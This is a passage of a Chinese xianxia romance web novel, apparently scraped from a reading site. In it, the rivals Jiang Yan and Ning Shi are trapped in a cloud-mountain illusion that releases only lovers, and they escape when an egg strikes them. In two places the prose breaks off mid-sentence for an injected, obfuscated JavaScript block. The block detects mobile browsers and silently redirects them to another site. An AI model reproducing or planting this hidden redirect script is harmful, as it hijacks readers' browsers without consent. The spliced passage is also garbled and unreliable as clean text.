而现在这张脸,对方应该是已经记住了。 ……于是,在美如蓬莱仙洲一般的云山幻境中,剑修仰起头,在桃花落雨中,看到了……仇家的脸。 一个是久别重逢,一个是狭路相逢。 剑修眨了眨眼,甚至开始怀疑自己看错了。 ——但对方顶着那张从客观角度讲实在俊美的脸,依旧大模大样地坐在桃花树上。 ——确实是当年在魔界,不但抢了陨铁而且还对自己纠缠不休的仇家的脸。 剑修差点一口气没上来。 他一边努力控制着面部的表情,一边在心中暗暗想道,这可真是不巧极了,在幻境这么小众的地方都能遇见对方…… 对方已经从仇家,荣升到了宿敌的位置。 他望着树上的宁时,可能是上次对方给他带来的心理阴影太大,剑修想了想,后退了一步,转身欲走。 他人都在这里了,宁时又怎么可能放任他离开? 但宁时自己也知道,因为陨铁的事情,剑修可能是不会听自己好好说话了。 他如果想要剑修平心静气地和自己坐在一起,那就要从对方最关注的地方先入手。 宁时便开口道:“等等。” 此时剑修已经完全转过了身,听到他这么一声,背影只是顿了一下,接着居然脚下不停,直直向前走去了! 宁时:…… 他有点后悔在魔界闹得太过分了。 但此时就算不是为了魂魄的事,就算是为了走出这个幻境,自己也需要和对方联手。 而看现在剑修的反应,像是刚刚被传送到这里,还没有探索过。 宁时心思转了一圈,翻身而起,从桃树上跳下到剑修面前,带下一阵纷纷扬扬的落花雨。 剑修的去路被阻挡了,于是他不得不抬起头来,微微拧着眉毛,看着面前的青年。 青年也在盯着他。 宁时眼中,那些纷飞的花瓣落了不少在剑修身上。 太多了,他不能像刚才一样,轻轻用手拂去了。 二人对视片刻。 最后,宁时干咳了一声,视线有些飘忽,先开口道: “那个,上次是我失态了,抱歉,这次不会了。” 剑修却只盯着他,面上看不出什么神色变化。 宁时又道:“这应该是个幻境吧,没想到会在这里再次遇到你。” ……这句话,其实他自己说得都有点心虚。 剑修也不是傻的,他再次见到宿敌的震惊已经过去,很快就想通了此间关节。 于是此刻听了宁时的话,他只是冷笑一声,重复着对方话中的一个词:“没想到?” 宁时的眼神更加飘忽了,但他又不想不打自招地移开视线,于是硬着头皮和剑修对视。 剑修见他这副死装的模样,哪里还有不明白的?他呼出一口气,道: “说点实话吧,来,说说你到底是因为无叶木来的,还是因为……我来的?” 最后半句,剑修起初说的时候感觉显得有些自大了。 但是话真说出了口,再看着对方脸上表情的变幻,却又是感觉自己说对了。 剑修:…… 这种感觉有些奇怪。 如果对方真的是为自己而来……不敢往深处细想,听起来感觉还不如对方是为无叶木才来云山的。 但不管事件起因为何,他和对方都已经被卷到这个幻境里了。 面前的青年似乎猜到了他的所想,他没有回答剑修刚刚问出口的这两个问题。 他反而是抬起头来,道:“可是我们现在在云山幻境里。” “我为什么东西而来,已经并不重要了。” “重要的是,我们应该怎么走出去。” 剑修本来也就不指望他能说出来此地的缘由,便顺着青年此时的话说下去: “用剑劈开即可。” 宁时:…… 多年未见,剑修还是老样子,甚至比起从前有过之而不及。 他依然清晰记得,当年二人在金鸡驿,还是少年的剑修除了剑法什么也不会,就连安魂法,都是现翻书学的。 攻玉剑剑光凌冽,但依然有无法破开的东西。 宁时就笑了。 他说:“你刚刚被卷到这个幻境里面,还没来得及探索吧?” 剑修平静地看着他,算是默认了这句话。 于是宁时便把自己刚刚得知的关于幻境大小、外缘等的信息,一股脑告诉了对方。 他看着面前的剑修听着,间或无意识地眨眨眼睛。 他的眼睫毛有些长,动作间轻轻颤动,像是这片花海中另一只黑色的蝴蝶。 很是养眼。 剑修听完了宁时说的话,不置可否。 他只是身形动了动,走到了这幻境的边缘。 然后宁时看着他重复了一遍自己刚才做过的所有操作。 并得到了相同的结果——云山幻境毫发无伤。 剑修:…… 他虽然知道对方说的可能八九不离十,但真到了自己亲自验证完之后,还是感觉心里凉凉的。 这个幻境,比他想象中的要复杂。 而且到目前为止,他也并没有发现什么能够解密的机关。 剑修简直要忍不住叹气了,但由于身边还守着一个宿敌兼神经病,他为了避免刺激到对方,生生忍住了。 于是剑修的内心就更加凄凉了。 他只觉得自己出门做任务有时候不顺利极了。 被卷入幻境不说,无法出去不说,最让他受不了的就是身边这个人……虽然他现在看起来没什么攻击性。 但上次两个人打得昏天黑地的场面还历历在目。 剑修谨慎地后退两步,默默与对方拉开距离。 宁时见了,自然也能猜到他的所想,于是摊手: “没事,我又不和你抢无叶木。” 剑修先是冷哼了一声,随后突然反应过来,声音控制不住地微微高了: “无叶木?你果然是偷偷在跟着我!” “你都看见我做什么了,还非得说是偶遇!” 宁时:…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902429|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糟了,一激动说露馅了。 他只能讪讪地笑着,看着剑修怒气冲冲地转过身,大跨步向另一个方向走去,然后迈着自己的小碎步跟在对方身后。 剑修自然也听到了他跟过来的声音。 但有了上一次目睹对方情绪无常后,此次他也不敢贸然阻止,只是任由这个小尾巴跟着自己。 …… 云山幻境虽小,景色却各有变化。 除了刚才那一片花海,还有飞泉瀑布,静水寒潭。 宁时跟着剑修走到了瀑布边。 瀑布边上就是一汪宝蓝色的潭水,水面上蒸腾起寒气。 剑修又往前走了走,避开这一池冷水。 宁时知道,这是火灵根修士的本能。 他们一向不甚喜欢寒冷的东西。 于是宁时有不可避免的回想起了很久很久之前的事情。 是凡人间的雪天,他的神魂还在剑修身上的时候。 就连空气仿佛也都结了冰,冻得他快失去了知觉。 ……却没想到多年之后,自己会拥有极品火灵根。 他再也不用怕冷了。 …… 宁时神游天外,在对面的剑修看来,就是走神。 也许是他这次比较正常的举止终于打动了剑修,剑修看着他,终于尝试性地做出了交谈的动作。 剑修说:“别发呆了,说你呢。” 宁时回过神:? 剑修见他有在认真听自己说话,又道:“依你所见,我们应该怎么从这里出去?” 宁时:…… 实话说,他也没有摸清这到底是怎么一回事。 于是他边老老实实回答道:“暂时还没有想出办法。” 剑修:…… 于是剑修也沉默了。 他们并肩而立,站在飞溅的瀑布前,看着从高崖上滚落的水流,如白珍珠般掉落进池中,溅起蒙蒙水雾。 在一片水流声中,剑修突然对宁时发问: “你到底知不知道我是谁?” 宁时扭过脸来,看着他,一边回想着二人在魔界相遇时的场景,斟酌着词句,避免露馅: “知道啊,你之前不是自报过家门吗?合江宗江道友。” 他话音落地,却听到对方哂笑一声:“上次和我打了那么久,居然不知道我的姓名吗?” 宁时:“……那你现在说,我就记住了。” 剑修闻言,轻飘飘地看了他一眼,脸上神色莫名:“你先说你的。” 宁时想了想:“丁有宝,胜意门的。” 嗯,丁字上加一个宝盖头,可不就是宁嘛。 更何况,他确确实实也是胜意门的……门主,算不得说谎。 宁时如是想。 而面前的剑修听了这几个字,看不出神情,只是点了点头:“嗯,丁道友。” 宁时便热情洋溢地“欸”了一声回应,又问对方:“那你呢?” 剑修扫了他一眼:“你既然能跟着我看我去取无叶木,哪里有不知道我身份的道理?” “罢了,就当你不知道吧。” “你要记好了。” “我叫做江晏。江海的江,海清河晏的晏。” “现任合江宗执事长老。” 119. 湿身 面前剑修的脸色虽然看不出来喜怒,但宁时知道,此刻对方心情还算可以。 ——毕竟剑修刚才说两个字就完全可以结束的自我介绍,可他还是多解释了几句。 想明白此处后,宁时便胆大了一些。 他脚下的步子动了动,离对方更近了一些,说:“江执事,我记住了。” 剑修看了他一眼,没有再说什么。 于是宁时就在他身边心安理得地站着。 这个距离确实很近,剑修的衣袍被风带起时,就会拂到宁时身上。 有一点微微的痒意,于是莫名地,宁时就想起了那年落选后,在竹城郊外碰到的野猫。 它蹭在自己身上,也是一样毛茸茸的。 身边,剑修的声音打断了他的回忆。 剑修道:“有一件事,我很好奇。” 他看着宁时,根本不容对方说什么,继续说了下去: “当年,你取得陨铁之后,最后是用它干什么了?” 如果是从前的宁时听他这么问,估计是要骂一句“多管闲事”。 可现在的宁时,已经知道了他们两个人灵魂的真相,那些不耐烦且伤人的话就再也说不出口了。 宁时琢磨着,最终说出了一个似是而非的答案:“卖钱了。” 剑修“哦”了一声,片刻后,又小声道:“我早就应该想到是这个结果的,毕竟你是胜意门的人。” 宁时:? 剑修这是什么奇怪的语气?说得他们好像不是好人似的。 于是他开口:“胜意门又怎么了吗?” 剑修摊手:“你可能误会了,我没有说他不好的意思。” “我只是听说胜意门在揽财上很有一手。” 这句没有情感色彩的话到了宁时耳朵里,却变成了夸他似的,宁时如果身后有尾巴,那一定是翘了起来,他道: “嗯,我们这点确实很出名。” 剑修“唔”了一声,看向他问:“而且我听说,胜意门的主人,最近似乎对我们合江宗很感兴趣?” 宁时没想到自己在背后偷偷摸摸收集资料的那些事,居然还能传到了正主耳朵里,一时间不由得微微怔住了。 剑修看他的神色,却误以为他并不了解此事,便摆了摆手:“算了,你看起来也不知道。” 他眉头微微皱着,道:“最近我们发现了一些外门弟子,甚至是核心弟子,和胜意门的人有接触。” “和你们门主说,他到底是什么意思,不妨来合江宗直说。” 宁时:…… ……其实吧,站在你面前的就是胜意门的门主。 而且他的诉求也很简单,那就是——获得关于江执事的一切信息。 但合江宗是绝不会把一位长老的信息透露给外人的,于是宁时只能从剑修身边的人下手。 但鉴于执事在宗门中也是有地位的人了,他直接管理的弟子也并不好接触,只能退而求其次,找到一些外门弟子,迂回达到目的。 所以才有了剑修刚才所说的“外门弟子”和胜意门有所来往的事情。 ……可现在,对面剑修的目光还聚在他身上,似乎是非要讨要一个说法。 宁时把心一横,张嘴就开始编瞎话: “其实吧,我们门主真的是没有恶意的。” “执事应该也是知道的,他出身并不算好。” 在宁时换气的空档,剑修打断了他的话:“你在背后这么编排你们门主,他不生气?” 宁时:…… 剑修目光如炬,盯得他后背几乎要出汗了,只得连连道:“门主很和善的,不在意这些。” 剑修不置一词,用眼神示意他说下去。 于是宁时继续道:“他创立的胜意门没多久的历史,门主只是对合江宗的管理模式非常感兴趣,想借鉴学习一下。” 剑修缓缓点头:“嗯,原来如此。” 见对方看起来是相信了这番说辞,宁时不由得松了口气,身体也放松下来。 这一放松可了不得,由于挨着瀑布,水珠飞溅,脚下的石头都是湿滑的,宁时猝不及防,向后面的寒潭栽倒! 宁时:…… 好惨,可能是今天说了太多的谎遭了报应。宁时望着头顶旋转的天,在落水途中如是想。 他就这么直挺挺地向后仰倒,动静自然不小。 剑修看到了,在侧面迈出一步,同时伸出手拉住了他的袖子。 ……但好巧不巧,他现在踩到的地方,也就是刚刚把宁时滑倒的那一方石块。 于是在宁时惊恐的目光中,剑修和他自己保持着一种互相拉着对方衣袖的姿势,双双栽倒进了寒潭里。 只听见两声紧挨着的“扑通”,二人被池水完全浸透了。 刚刚倒入水池时还不觉得,但四周的冷水很快就浸透了衣服,寒意仿佛从皮肉上一直钻到了骨头缝里。 宁时:…… 他腾出一只手来抹了把脸,侧过头看着身边的剑修。 剑修依旧维持着拉着他袖子的姿势,木着一张脸。 只是他从上到下,包括头发已经都变得湿漉漉的,于是他的面无表情反而显得像在硬撑。 宁时想到自己也还拉着对方的袖子,便摇了摇。 剑修感到他的动作,便望过来,对上了宁时的目光。 宁时:…… 他看着一粒水珠挂在剑修的睫毛上,有随着他眨眼的动作,滚落在颊边。 再配上他被冻得微红的双眼,莫名有些像落泪。 宁时被自己这个离谱的联想惊住了。 他干咳一声,努力把思绪拉回正常轨道:“啊,太抱歉了,刚才没站稳。” 剑修不想说话。 他只是放开了宁时的手,用力向上一跃! 他起身飞出寒潭,带起大片的水花,映着粼粼光色。 宁时也就跟在他后面,爬上了岸。 从水里出来,衣服不可避免地被打湿了。 宁时想,剑修这一身衣服比自己的要繁琐,上面沾的水自然会更多,要想办法先给他烘干才是。 于是宁时运转灵力,就要向剑修身上抛去。 只是他的动作做到一半,却突然停住了。 宁时望着对方湿得透透的衣服,突然就走神了—— 那身白衣服沾了水,就更透了,能看到布料底下的肉色。 宽肩窄腰,一看就是常年习武之人的身材。 而且这么粗略地一扫,宁时感觉自己已经隐约看到了对方的腹肌。 再往下看去,就是剑修修长笔直的腿。 宁时:…… 他心里突然百感交集。 ——想当年自己的神魂还依旧在这具身体上是,也不过是十来岁的年纪,身量还没有长开,活脱脱就是一根豆芽菜。 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胜意门在外名声不算非常正派,里面的人也有不少有怪癖的。 宁时感觉剑修已经误会了什么,他自己要完了。 果然,面前的剑修缓缓举起了剑,然后对宁时射出一道灵力…… 宁时看着那道直直向自己冲过来的灵力,叹了口气。 那灵力冲到他身体上,却没有想象中的疼痛,只是暖洋洋的。 ……宁时睁开眼睛,却发现自己还没来得及烘干的衣服,被剑修的灵力弄干了。 宁时几乎是要感动地哭出来了: ——他另一个魂魄简直太善良了! 但剑修对他的善良是暂时的。 见对方无碍之后,剑修朗声道:“你刚才盯着我,在看什么?” 宁时:…… 他本来以为这件事就算翻篇了,却没想到剑修根本不打算放过他。 于是宁时想了想,到:“看你练功练得很不错。” “一时失态了,见谅。” 他这个回答倒也不算撒谎,而且修真界里,确实有不少这样一心沉醉于修炼的修士。 剑修神色莫名,算是接受了他这个说法,没有再在此处纠结。 二人依旧并肩站于瀑布下。 片刻后,剑修开口:“……我们去找一找离开这里的办法吧。” 宁时点头,正欲说什么时,幻境中凭空传来了一道声音。 和他刚刚一人停留在花海时所听到的声音是同一种。 这声音道: “我是云山幻境的意识。” “你们想出去,好啊。” “像你们这样想出去的人,可多了去了。” 听到此处,宁时和剑修二人对视了一眼。 而那声音继续说着: “我最爱卷一对有情人进来了。” “他们起初到了这里,很是欣喜,在花前月下海誓山盟。” “后来发现出不去,又换了一副嘴脸,互相指责。” “然后我就会出现,告诉他们如何离开幻境的方式。” 那声音停了停,又道:“其实真的很简单呢。” “这个幻境,只需要两个人之间产生了爱,才能走出去。” 120. 尝试走出幻境 幻境意识所说的话,内容简直太震撼了。 宁时和剑修齐齐揉了下耳朵,俱是怀疑自己听错了。 剑修翻了个白眼,小声道:“什么爱抓有情人。” “我看是分明喜欢把宿敌抓进来吧。” “看着两个人根本走不出去,在环境里不停的挣扎……太惨了。” “更惨的是,我现在就是这两个主角之一……” 剑修深吸了一口气,做了番心理建设,扬声对空中道: “这位……前辈,可我们俩不是有情人啊,是不是抓错人了啊。” “……要不然,您看把我俩放了怎么样?” 那声音居然还真的有了回应,可惜回应的话却让二人黑了脸。 这幻境说:“我既然已经把你们抓过来了,随便放走,岂不是坏了规矩?” “你们就在这里面呆着罢。” “在里面,时间的流速是和外面相同的。” “至于什么时候才能出去,就看你们自己的造化了。” 剑修:? 他感觉天都要塌了。 剑修深吸了一口气,开口,试图打动幻境的意识:“可是,您看……” 幻境却出声打断了他的话: 祂说: “对了,我刚才忘了说。” “走出幻境的规则,从现在开始,正式生效。” 剑修和宁时对视了一眼,又很快扭过头来,自言自语道: “真是的……这句话有什么用嘛。” “明明刚才都出不去,那现在可不就更出不去了。” “真的就不能把我们放出去吗?” 可这一次剑修话音落地后,空气里却静悄悄的。 那个听不出男女的声音不见了——幻境意识不再回答他了。 但是剑修宁时两人都知道,祂作为此地的主宰者,一定是还没有离开的。 只是祂似乎打定了主意,要做一个旁观者,看一看这次自己抓回来的两个小玩意,到底要怎样才能走出幻境。 宁时想,如果是普通的环境,在幻境主人介绍完情况之后,他和剑修应该就会根据提示的信息,来寻找走出这里的线索了。 只是这次走出幻境的要求……实在有些离谱了。 居然需要两个人之间产生爱才能走出去。 宁时想,祂所说的爱,到底是哪一种爱呢? 如果是任意的一种爱,那从自己的角度来说,还是比较容易爱上对方的——毕竟作为一个人,很难完全不爱自己。 他会爱剑修身上充沛的灵力。 爱他的身如修竹,白衣飘飘,意气风发。 爱他手提攻玉,一剑光华照群山。 …… 宁时这么想着,目光便不由自主的移到了剑修身上。 剑修对上了他的目光,又想起刚刚幻境说了什么,精神为之一振! 剑修最终还是鼓起勇气,试探性的问道:“……你为什么要这样一直看着我。” 宁时满脑子都是“爱才能走出去”,根本没有思考,一不留神把心中所想说了出来: “我看见你在想,我能喜欢你哪些地方。” 剑修:…… 是他大意了,还不如不问。 不过怎么说呢——对方这种回答,这种口气,倒是和上次在黄扬城时重叠了。 ——对方那个熟悉的神经劲又开始了。 剑修扶额,试图让自己冷静下来。 如果是在平时,自己听见对方这样说,即便不用攻玉剑揍对方一顿,最不济,也是扭头就走,离对方远远的。 ……但是毕竟今日不同于往日,情况有所变化。 他脑子里嗡嗡的,一半是烦的,另一半则是幻境怪声怪气的那句“产生了爱才能走出去”。 莫名地,剑修产生了自认为不合时宜的好奇。 他想,面前这个奇奇怪怪的符修,他看着自己努力找出喜欢的点,是因为走出幻境的要求吗? 如果他真的找到了自己让他喜欢的地方……又会是什么呢? 说干就干,剑修用攻玉剑的剑柄捅了捅宁时腰侧,双眼目不转睛,平视远方,连一个眼神都没有移给对方,口中道:“欸,问你个事。” 宁时茫然抬头:“啊?” 剑修依旧正襟危坐,不知道的还以为他在审问犯人:“你刚刚说,你在想喜欢我什么地方。” ……这么说出口有点羞耻,剑修想,但这都是为了能走出幻境,算不得什么事。 于是剑修干咳一声,问:“所以,你现在想明白了吗?” 想了想,又欲盖弥彰似地加了句: “你先说,说完我借鉴一下哈。” “这样我也能尝试着……喜欢一下你,然后我们就都能出去了。” …… 剑修不知道自己是怎么说完这几句话的,他只知道,自己一边在心里做深呼吸,一边发誓——等他出去了,一定要把仇家扔到这个该死的幻境里! 宁时:…… 他没有想到剑修会这么直接问出来,更可怕的是,剑修问的这些问题,自己还不知道怎么回答。 ——毕竟爱上自己不需要理由。 于是他只是看着剑修:“嗯,我还正在思考。” 剑修:“……行吧。” 其实对方一时答不出来这也正常,剑修想,毕竟两个人上一次见面还是打得昏天黑地的关系,突然说要喜欢对方,也是挺难的。 但幻境还是要走出去的。 剑修轻轻叹了口气,打量着身侧的符修,试图找到对方身上自己喜欢的地方。 ……只是在这欣赏的目光看一看,并不算什么大事吧。剑修想。 一切都是为了走出幻境,如果对方觉得羞恼,实在大不了,出去再打一架就好了。 心意已定,剑修看向宁时的目光就更加理直气壮。 剑修想,这人样貌确实不错,至于实力……既然能和自己打几个来回,也自然是没问题的。 剑修看着对方,突然发现自己一点也不了解这个人。 他只是和对方打过架,却不知道面前这个人的来历。 于是剑修开口:“我还未听说过你的故事。” “你还是给我讲讲吧。” 宁时闻言,抬起头,用手指了指自己,满眼疑惑。 剑修:“嗯,就是你。” 想了想,又道:“你偷偷摸摸跟了我这么久,想必我就不用说自己的事了吧。” “只用说你自己就好。” 宁时:…… 对方说得还真没毛病。 他想,那自己要从哪里说起呢? 如果只是为了走出幻境,自己应该多说一些修习方面的事——他知道,剑修是会更喜欢强者的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902431|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但是看着面前已经忘记了从前种种的剑修,宁时又犹豫了。 他想了想,还是开口道:“你想从什么时候的故事开始听?” 剑修不料他会这样问,微愣一瞬,随口说道: “那就从你小时候开始讲起吧。” “我曾经失忆过,已经全然不记得小时候的事情了。” “想听听别人的从前,是什么样子。” 宁时听他提到“小时候”,不知为何,脸上想笑,心里却有点酸胀胀的。 他张了张口,很想说其实你忘了也好,这些事并不是什么值得记住的。 但最终也没能说出口。 宁时听见自己的声音有些发涩,干巴巴的:“其实我小时候也没什么好说的。” “无非就是活不下去了,才到了胜意门。” 剑修看着他,脸上的表情看不出什么:“……嗯。” 他们站在一起,又沉默了。 片刻后,剑修又道:“你这就结束了吗?只说这么一句?” 宁时摸了摸后脑勺,点头:“嗯,就这样吧。” 想了想,又补充了一句:“其实真的没什么好说的,本来也不是什么有意思的事。” “你是不会想听的。” 宁时看着面前剑修一张俊秀的脸,想到,既然对方已经忘了从前种种,那就这样吧。 自己没有必要让他再记起来了。 两个灵魂,自己记得过去那些事情就足够了。 另一个魂魄,就让他过得舒心一些吧。 宁时这么想着,脸上表情也不免有些怏怏的。 剑修听了他刚才的话,起初以为是对方不愿意透露自己的信息的借口。 但直到现在又看到对方的神色,便莫名否定了自己刚刚的想法。 剑修想,也许对方的过往真的并不好,这样的话,他不想告诉自己也是正常的。 于是剑修微微颔首,默许了宁时的做法。 二人继续并肩,看瀑布流水。 片刻后,终于意识到事情毫无进展的两人再次对视。 剑修:…… 宁时:…… 他看着一只穿过瀑布,像幻境另一头飞过去的蝴蝶,对剑修试探道: “要么……我们再去边缘试一试?” “刚才我们都是单独使用灵力看能不能打破幻境的,还没有试着一起过。” 剑修想到幻境曾说的条件,本想张口反驳宁时。 但心思一动——对方说的确实有几分道理,而且,看起来比幻境给出的条件更加容易。 于是他应了一声,率先转身,随着那只蝴蝶,向幻境边缘去了。 不过几息的功夫,二人又站在了如薄膜一般的结界前。 宁时看看剑修,手中酝酿起一团灵力,道:“你准备好了吗?” 剑修点头。 宁时“嗯”了一声,道:“那我们一起倒数三个数,然后同时去打这结界!” 剑修手中的攻玉剑上腾起一团红光,他说,好。 于是宁时深吸了一口气,又长长呼出:“三……” “二……” 他还来不及数到一,他手上的灵力也来不及打出,变故陡生! 一团因速度过快而黑漆漆的、看不清形状的东西,在地面上横冲而来! 以一己之力,把两位元婴期的修士撞飞了数丈。 121. 轻而易举走出幻境 剑修和宁时只觉得一股怪力袭来,随后下盘不稳,还没来得及意识到发生了什么,人便已经飞了出去。 但元婴期也不是吃素的,剑修在空中瞬间便反应了过来——自己居然被撞飞了。 他一边只觉得在这见鬼的幻境里任何东西都变得离谱起来,一边努力稳住身形,从半空中稳稳着地。 只是那撞了他们的东西力气实在是大,剑修脚下用力,在泥土上滑行了一丈远,犁出了小指长深度的沟壑才停了下来。 这一下虽然猛烈,但并没有对他的身体造成什么伤害。 剑修又扭头看向宁时。 ……果然,宁时和他一样,也是被撞飞了数丈远后,才停在原地。 二人对视,眼中俱是震惊。 剑修先开了口:“……刚刚是什么东西飞了过来?” 宁时:“我没看清,速度太快了。” 剑修扶额:“这也太不正常了,我们两个可是元婴期,那到底是什么东西。” 宁时摊手:“反正我感觉是硬硬的凉凉的材质……感觉有点圆?” 剑修顺着他的话,想了想那画面,道:“听起来像一记重锤。” 宁时苦笑:“也许吧,那肯定不是凡品。” 显然,剑修也想到了这一点,他看了眼四周:“不如,我们在附近找一找?” “只是不知,那物体是否冲出了幻境……” 剑修的话音戛然而止,神色僵了一瞬。 宁时便推了他一把:“你想到什么了?欸……不对。” ……他好像知道剑修为什么突然哑了声。 是否冲出了幻境。 冲出幻境。 …… 他和剑修默默回头,一同看向二人被击飞的来处。 ……很好。 在他们视线中,一张薄膜微微颤动着。 那正是云山幻境的结界。 薄膜里面,依旧是酥酪一般的乳白色雾气,依稀还能看到绿枝摇曳的花海。 而在薄膜外面,那种神秘的雾气消失了。 花海也没有了,只能看到算不上好看的杂草,以及笔直的、高大的……无叶木。 ……无叶木。 ……他们好像,从幻境里出来了。 剑修僵着脸,一时间脑子里乱乱的。 他想,自己和这黑衣人居然就这样轻而易举的出去了。 想象中的用灵力、用阵法轰开幻境结界的场面,居然都没有发生。 能走出幻境,固然是一件好事。 只是…… 他现在有些搞不明白,究竟是二人被那不明物体一同砸了出去,还是因为…… 像那幻境所说的,他和对方产生了爱意,才打破了幻境? 剑修只觉得,这个问题根本不能细想。 他吐出一口气,自认为是第一种情况,并在内心给自己做了一番心理建设后,抬头望向对方。 宁时对上了剑修的目光。 他自然知道,面前的剑修会在想什么。 ……说实话,其实他自己也很好奇。 宁时本来只是想含含糊糊,就此揭过“走出幻境”这件事,但看着剑修飘忽的眼神,突然就起了几分逗弄的心思。 于是,宁时道:“我在想,我们是怎么从幻境里出去的?” 剑修看着他,不置一词。 宁时摊手:“实话说,你长得真的挺好看的。” 这句话他说得没有一点负担——毕竟眼前这人的壳子说到底还是自己的,自己夸自己,并没有什么不对的。 但这话落到不知道真相的剑修耳朵里,就变了个意思。 剑修咬了咬牙,几乎是一字一顿道:“谢谢你,不用再说了。” 宁时反而来劲了:“欸,为什么啊,难道还不让我说真话了吗?” 剑修:…… 他错了,错得离谱。 他单单以为对方只是上次在黄扬城里发了一通神经之后就变正常了,却没有想到,对方还攒了一波更大的,在此时此地候着他。 剑修想了想,认为自己在口舌上争不过对方,在武力上也与对方持平。 三十六计,走为上策。 于是剑修肃着一张没有表情的脸,扭头就走。 宁时:…… 对方真是经不起逗。 他一边担心自己把剑修惹恼了,一边又忍不住,还想贱兮兮地变本加厉地开对方的玩笑。 宁时起身,顺着剑修的方向追过去了,口中还不忘说道: “你们合江宗的名门正派修士都这么脸皮薄吗?” “别不好意思了,我就是喜欢你又怎么了?” 剑修:…… 他被对方三言两语激得,突然之间就想到了一个自认为绝妙的点子。 于是亦步亦趋跟在剑修身后的宁时只见对方突然停下了脚步,猛然转身! 宁时:? 这一下有点突然,他差点没有刹住步子,撞到对方身上。 此时,两人脸对着脸,距离极近。 宁时甚至感觉到了对方扑在自己脸上的呼吸。 宁时:…… 他莫名就有点怂了。 然后只见剑修淡色的嘴巴一张一合,毫无感情起伏地吐出了一段话: “你说你喜欢我,行啊。” 剑修又对他伸出手来,道:“那就把上次从魔界黄扬城取得的陨铁给我。” 宁时:? 剑修从头到脚扫了他一眼:“不给?这就是你说的喜欢?” “那就此别过罢。” 说完,转身就走,并且步子迈得比刚才更大了。 只留宁时在原地,顶着满脑袋问号。 一阵凉风穿过密林,吹到了他脸上。 宁时甩了甩头,回过味来: 剑修此时突然提起陨铁的事,就是在用一件宁时自己绝对办不成的事情作为要求,在装迷糊。 毕竟,宁时自己可记得清楚,在幻境中,自己告诉过对方已经卖掉陨铁的事,而对方是绝不可能这么快就忘掉的。 陨铁已经不在自己手里了,又怎么能给剑修呢? 所以剑修才说出来刚刚那一番话,是拒绝自己“我就是喜欢”这句话的托辞。 宁时:…… 剑修应该不会是当真了吧?不然怎么会是这个反应啊。 不过,宁时转头过来又想,虽然刚才自己的话有逗弄的成分,但若是认真来讲……感觉好像,也不错? 他跟在剑修身后,出神地望着对方的背影——如今的剑修,正是他曾经希望成为的模样。 他是何其幸运,同时拥有两个灵魂,而其中的一个,拥有了他未曾拥有的东西。 宁时感觉自己的身体突然有些奇怪,心口有点发酸——这对于他此时的修为而 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这里面,果然是有东西的。 只见一个圆滚滚,灰乎乎的东西,安安静静的卧在里面。 剑修和宁时对视一眼,又用手中的剑轻轻拨了拨这物体。 ……这东西由于没有棱角,在原地打了几个转。 倒是有点像……一个蛋了。 剑修直起身子,转头看向宁时,问:“刚才应该就是这个东西撞了我们。” “而且它的形状,和你描述的很像。” 宁时点头,又蹲下身子,伸出手轻轻碰了碰这颗蛋。 剑修本能地想阻止他,但见什么也没有发生,一切风平浪静,便由着他去了。 宁时继续摆弄着这颗蛋。 它的个头不算很小,大概有成年男性的手掌那么大。 宁时用目光丈量了一番,认为自己单手刚好可以把它托起来——他也确实是这样做了。 剑修见了,道:“你要把它拿走吗?” 宁时想起了上次陨铁的事,便把手掌往前递了递:“不是,给你的。” 剑修却摆手:“我不要。” 他这次只是为了无叶木而来,这颗蛋却是从那莫名其妙的幻境里滚出来的,不知道背后和幻境有什么牵扯。 他并不想惹上麻烦。 出于好意,剑修出言提醒:“这东西来历不明,你也最好小心一些。” 宁时应了一声,却反手把这颗蛋收到了储物袋里:“没事的,先带回去再说。” “毕竟胜意门的人出来一趟,无功而返,也显得不好看。” 他说的确实有道理,剑修没有再劝阻——毕竟每个门派风格不一样,和合江宗不同,胜意门多了几分“富贵险中求”的味道。 剑修转而继续干起来被卷入幻境之前正在做的事——收集无叶木。 出乎他意料,和他共经历了幻境这么一遭患难的黑衣人并没有立刻离开。 只是坐在一棵树上,安静地看着剑修一次又一次挥剑。 并最终在剑修准备返回宗门时,道了别。 又像他出现时那样安静,身形湮没在密林中,很快消失得无影无踪了。 122. 新任峰主 视线又出现了轻微的模糊和摇晃。 附在宁时身体上的江晏知道,这是时间线波动的征兆。 换句话说,他很快就要前往下一段往事了。 江晏的意识体摸摸下巴,对啾啾道: “现在看来,回溯的规律已经很明显了。” “我回到的这些时间节点,大部分都是我与分魂相接触的时候。” “也多亏了这些回溯,我才知道分魂……原来有这么多身份。” 江晏想着,有点忍不住想笑了:“所以我真的很期待,下一次回溯,是哪个时间节点呢?” “他又会装模作样地假扮成什么身份来见我?” “毕竟,在云山这一次,是我记忆中最后一次见到他黑衣人这个身份了。” 江晏说完了,但依然没有得到来自啾啾的任何回应。 江晏:? 这不合理。 这只叽叽喳喳的小鸟在看完这段过往后,决计是不会这么安静的。 事出反常必有妖,江晏一边想着,一边扭过身来,去看啾啾。 却只见啾啾只是愣愣地站着,一双黑豆般的眼睛竟是一动也不动——此时此刻,如果把呆若木鸡这个词用在它身上,简直是再合适不过了。 江晏于是拍了拍它的脑袋:“你在想什么?” “小鸟的脑袋里有什么东西可愁的。” 掌心下,毛茸茸的东西动了动,是啾啾在试图躲开江晏的手:“啾啾!我思考一下正事有什么不对的吗?” 